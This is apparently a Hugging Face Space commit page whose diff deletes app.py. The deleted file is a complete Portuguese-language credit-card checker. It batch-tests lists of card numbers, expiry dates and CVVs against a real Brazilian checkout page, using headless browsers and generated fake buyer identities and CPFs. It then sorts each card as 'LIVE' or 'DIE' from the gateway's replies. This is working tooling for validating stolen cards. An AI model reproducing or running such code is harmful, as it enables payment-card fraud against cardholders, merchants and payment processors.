Spaces:
Sleeping
Sleeping
Delete app.py
Browse files
app.py
DELETED
|
@@ -1,226 +0,0 @@
|
|
| 1 |
-
import asyncio
|
| 2 |
-
import random
|
| 3 |
-
import time
|
| 4 |
-
import re
|
| 5 |
-
import requests
|
| 6 |
-
import threading
|
| 7 |
-
from flask import Flask, render_template, request
|
| 8 |
-
from flask_socketio import SocketIO
|
| 9 |
-
from playwright.async_api import async_playwright
|
| 10 |
-
|
| 11 |
-
app = Flask(__name__, template_folder='templates', static_folder='static')
|
| 12 |
-
app.config['SECRET_KEY'] = 'payt-checker-v5-final'
|
| 13 |
-
socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
|
| 14 |
-
|
| 15 |
-
active_processes = {}
|
| 16 |
-
|
| 17 |
-
class PaytChecker:
|
| 18 |
-
def __init__(self, sid):
|
| 19 |
-
self.sid = sid
|
| 20 |
-
self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
|
| 21 |
-
self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
|
| 22 |
-
|
| 23 |
-
async def emit_to_client(self, event, data):
|
| 24 |
-
socketio.emit(event, data, room=self.sid)
|
| 25 |
-
|
| 26 |
-
def gerar_dados(self):
|
| 27 |
-
try:
|
| 28 |
-
url = 'https://www.4devs.com.br/ferramentas_online.php'
|
| 29 |
-
payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
|
| 30 |
-
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
|
| 31 |
-
r = requests.post(url, data=payload, headers=headers, timeout=5)
|
| 32 |
-
res = r.json()
|
| 33 |
-
d = res[0] if isinstance(res, list) else res
|
| 34 |
-
if d.get('nome'):
|
| 35 |
-
return {
|
| 36 |
-
'nome': d['nome'], 'nome_cartao': d['nome'].upper(),
|
| 37 |
-
'cpf': d['cpf'], 'email': d['email'], 'telefone': d['telefone']
|
| 38 |
-
}
|
| 39 |
-
except: pass
|
| 40 |
-
|
| 41 |
-
primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
|
| 42 |
-
sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
|
| 43 |
-
nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
|
| 44 |
-
cpf = "".join([str(random.randint(0, 9)) for _ in range(11)])
|
| 45 |
-
email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
|
| 46 |
-
return {
|
| 47 |
-
'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email,
|
| 48 |
-
'telefone': f"119{random.randint(10000000, 99999999)}"
|
| 49 |
-
}
|
| 50 |
-
|
| 51 |
-
def classificar_retorno(self, mensagem):
|
| 52 |
-
termos_live = ["compra ainda não foi finalizada", "saldo insuficiente", "suporte", "verifique os dados"]
|
| 53 |
-
termos_die = ["revise os dados", "não conseguimos processar", "recusado", "inválidos"]
|
| 54 |
-
for t in termos_live:
|
| 55 |
-
if t.lower() in mensagem.lower(): return "LIVE"
|
| 56 |
-
for t in termos_die:
|
| 57 |
-
if t.lower() in mensagem.lower(): return "DIE"
|
| 58 |
-
return "DIE"
|
| 59 |
-
|
| 60 |
-
async def capturar_retorno(self, page):
|
| 61 |
-
for tentativa in range(60):
|
| 62 |
-
if self.sid in active_processes and active_processes[self.sid].get('stop'): return "STOP", ""
|
| 63 |
-
await asyncio.sleep(1)
|
| 64 |
-
url = page.url
|
| 65 |
-
if any(x in url for x in ["obrigado", "success", "sucesso", "confirmacao"]):
|
| 66 |
-
return "LIVE", "Pagamento aprovado com sucesso!"
|
| 67 |
-
|
| 68 |
-
try:
|
| 69 |
-
for sel in ['xpath=//*[@id="app"]/nav/div/p', '.swal2-html-container', '.toast-message', '.alert', '.error-message']:
|
| 70 |
-
locator = page.locator(sel)
|
| 71 |
-
if await locator.count() > 0:
|
| 72 |
-
texto = await locator.first.text_content()
|
| 73 |
-
if texto and len(texto.strip()) > 5:
|
| 74 |
-
msg = texto.strip()
|
| 75 |
-
if any(x in msg.lower() for x in ["processando", "aguarde", "confirmando"]): continue
|
| 76 |
-
return self.classificar_retorno(msg), msg
|
| 77 |
-
except: pass
|
| 78 |
-
return "DIE", "Timeout - Sem resposta da gateway"
|
| 79 |
-
|
| 80 |
-
async def testar_cartao(self, cartao, slot, stats_container):
|
| 81 |
-
if self.sid in active_processes and active_processes[self.sid].get('stop'): return
|
| 82 |
-
|
| 83 |
-
partes = cartao.split('|')
|
| 84 |
-
if len(partes) != 4:
|
| 85 |
-
stats_container['errors'] += 1
|
| 86 |
-
await self.emit_to_client('update_stats', stats_container)
|
| 87 |
-
return
|
| 88 |
-
|
| 89 |
-
numero, mes, ano, cvv = partes
|
| 90 |
-
ano = ano[-2:] if len(ano) == 4 else ano
|
| 91 |
-
dados = self.gerar_dados()
|
| 92 |
-
inicio = time.time()
|
| 93 |
-
|
| 94 |
-
async with async_playwright() as p:
|
| 95 |
-
browser = None
|
| 96 |
-
try:
|
| 97 |
-
browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
|
| 98 |
-
page = await browser.new_page()
|
| 99 |
-
await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
|
| 100 |
-
|
| 101 |
-
await page.goto(self.base_url, wait_until='load', timeout=90000)
|
| 102 |
-
|
| 103 |
-
# Preenchimento Ultra-Resiliente (Aguarda e tenta vários métodos)
|
| 104 |
-
async def fill_ultra(selectors, value, is_type=False):
|
| 105 |
-
for sel in selectors:
|
| 106 |
-
try:
|
| 107 |
-
# Aguarda o elemento existir antes de tentar qualquer coisa
|
| 108 |
-
await page.wait_for_selector(sel, timeout=15000, state='attached')
|
| 109 |
-
locator = page.locator(sel).first
|
| 110 |
-
await locator.scroll_into_view_if_needed()
|
| 111 |
-
await locator.click(force=True)
|
| 112 |
-
await asyncio.sleep(0.5)
|
| 113 |
-
if is_type:
|
| 114 |
-
await locator.type(str(value), delay=50)
|
| 115 |
-
else:
|
| 116 |
-
await locator.fill(str(value))
|
| 117 |
-
return True
|
| 118 |
-
except: continue
|
| 119 |
-
return False
|
| 120 |
-
|
| 121 |
-
# 1. Dados Pessoais - Múltiplos seletores para o NOME
|
| 122 |
-
nome_selectors = ['#full_name', 'input[id="full_name"]', 'input[name="full_name"]', 'input[placeholder*="nome"]', 'xpath=//input[contains(@placeholder, "nome")]']
|
| 123 |
-
if not await fill_ultra(nome_selectors, dados['nome']):
|
| 124 |
-
raise Exception("Campo NOME não encontrado")
|
| 125 |
-
|
| 126 |
-
await fill_ultra(['#email', 'input[name="email"]', 'input[placeholder*="email"]'], dados['email'])
|
| 127 |
-
await fill_ultra(['#phone', 'input[name="phone"]', 'input[placeholder*="telefone"]'], dados['telefone'])
|
| 128 |
-
await fill_ultra(['#cpf_cnpj', 'input[name="cpf_cnpj"]', 'input[placeholder*="CPF"]'], dados['cpf'])
|
| 129 |
-
|
| 130 |
-
await page.evaluate("window.scrollBy(0, 500)")
|
| 131 |
-
await asyncio.sleep(1)
|
| 132 |
-
|
| 133 |
-
# 2. Dados do Cartão
|
| 134 |
-
if not await fill_ultra(['#cardNumber', 'input[name="cardNumber"]', 'input[placeholder*="número"]'], numero, is_type=True):
|
| 135 |
-
raise Exception("Campo CARTÃO não encontrado")
|
| 136 |
-
|
| 137 |
-
await fill_ultra(['#cardName', 'input[name="cardName"]', 'input[placeholder*="impresso"]'], dados['nome_cartao'])
|
| 138 |
-
await fill_ultra(['#cardDueDate', 'input[name="cardDueDate"]', 'input[placeholder*="MM/AA"]'], f"{mes}{ano}")
|
| 139 |
-
await fill_ultra(['#cardCvv', 'input[name="cardCvv"]', 'input[placeholder*="CVV"]'], cvv)
|
| 140 |
-
|
| 141 |
-
# 3. Clique no Botão
|
| 142 |
-
btn_clicado = False
|
| 143 |
-
for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary', 'button:has-text("Confirmar")']:
|
| 144 |
-
try:
|
| 145 |
-
locator = page.locator(sel).first
|
| 146 |
-
if await locator.count() > 0:
|
| 147 |
-
await locator.click(force=True)
|
| 148 |
-
btn_clicado = True
|
| 149 |
-
break
|
| 150 |
-
except: continue
|
| 151 |
-
|
| 152 |
-
if not btn_clicado: raise Exception("Botão de pagamento não encontrado")
|
| 153 |
-
|
| 154 |
-
status, msg = await self.capturar_retorno(page)
|
| 155 |
-
if status == "STOP":
|
| 156 |
-
if browser: await browser.close()
|
| 157 |
-
return
|
| 158 |
-
|
| 159 |
-
tempo = round(time.time() - inicio, 1)
|
| 160 |
-
if status == "LIVE":
|
| 161 |
-
stats_container['lives'] += 1
|
| 162 |
-
await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
|
| 163 |
-
else:
|
| 164 |
-
stats_container['dies'] += 1
|
| 165 |
-
|
| 166 |
-
stats_container['checked'] += 1
|
| 167 |
-
await self.emit_to_client('result', {
|
| 168 |
-
'entry': {'status': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo},
|
| 169 |
-
'stats': stats_container
|
| 170 |
-
})
|
| 171 |
-
if browser: await browser.close()
|
| 172 |
-
except Exception as e:
|
| 173 |
-
if self.sid in active_processes and active_processes[self.sid].get('stop'):
|
| 174 |
-
if browser: await browser.close()
|
| 175 |
-
return
|
| 176 |
-
stats_container['errors'] += 1
|
| 177 |
-
stats_container['checked'] += 1
|
| 178 |
-
await self.emit_to_client('result', {
|
| 179 |
-
'entry': {'status': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot, 'tempo': 0},
|
| 180 |
-
'stats': stats_container
|
| 181 |
-
})
|
| 182 |
-
if browser: await browser.close()
|
| 183 |
-
|
| 184 |
-
@app.route('/')
|
| 185 |
-
def index():
|
| 186 |
-
return render_template('index.html')
|
| 187 |
-
|
| 188 |
-
def run_async_checker(cards, threads_count, sid):
|
| 189 |
-
loop = asyncio.new_event_loop()
|
| 190 |
-
asyncio.set_event_loop(loop)
|
| 191 |
-
stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
|
| 192 |
-
checker = PaytChecker(sid)
|
| 193 |
-
socketio.emit('started', {'total': len(cards), 'threads': threads_count}, room=sid)
|
| 194 |
-
|
| 195 |
-
async def worker(card_list, slot_id):
|
| 196 |
-
for card in card_list:
|
| 197 |
-
if sid in active_processes and active_processes[sid].get('stop'): break
|
| 198 |
-
await checker.testar_cartao(card, slot_id, stats)
|
| 199 |
-
socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
|
| 200 |
-
|
| 201 |
-
chunks = [cards[i::threads_count] for i in range(threads_count)]
|
| 202 |
-
tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
|
| 203 |
-
loop.run_until_complete(asyncio.gather(*tasks))
|
| 204 |
-
socketio.emit('finished', {'stats': stats, 'stopped': (sid in active_processes and active_processes[sid].get('stop'))}, room=sid)
|
| 205 |
-
if sid in active_processes: del active_processes[sid]
|
| 206 |
-
loop.close()
|
| 207 |
-
|
| 208 |
-
@socketio.on('start_process')
|
| 209 |
-
def handle_start(data):
|
| 210 |
-
sid = request.sid
|
| 211 |
-
if sid in active_processes: return
|
| 212 |
-
cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
|
| 213 |
-
threads_count = min(int(data['threads']), 10)
|
| 214 |
-
active_processes[sid] = {'stop': False}
|
| 215 |
-
threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
|
| 216 |
-
|
| 217 |
-
@socketio.on('stop_process')
|
| 218 |
-
def handle_stop():
|
| 219 |
-
sid = request.sid
|
| 220 |
-
if sid in active_processes:
|
| 221 |
-
active_processes[sid]['stop'] = True
|
| 222 |
-
# Envia feedback imediato para a UI
|
| 223 |
-
socketio.emit('finished', {'stats': {}, 'stopped': True}, room=sid)
|
| 224 |
-
|
| 225 |
-
if __name__ == '__main__':
|
| 226 |
-
socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe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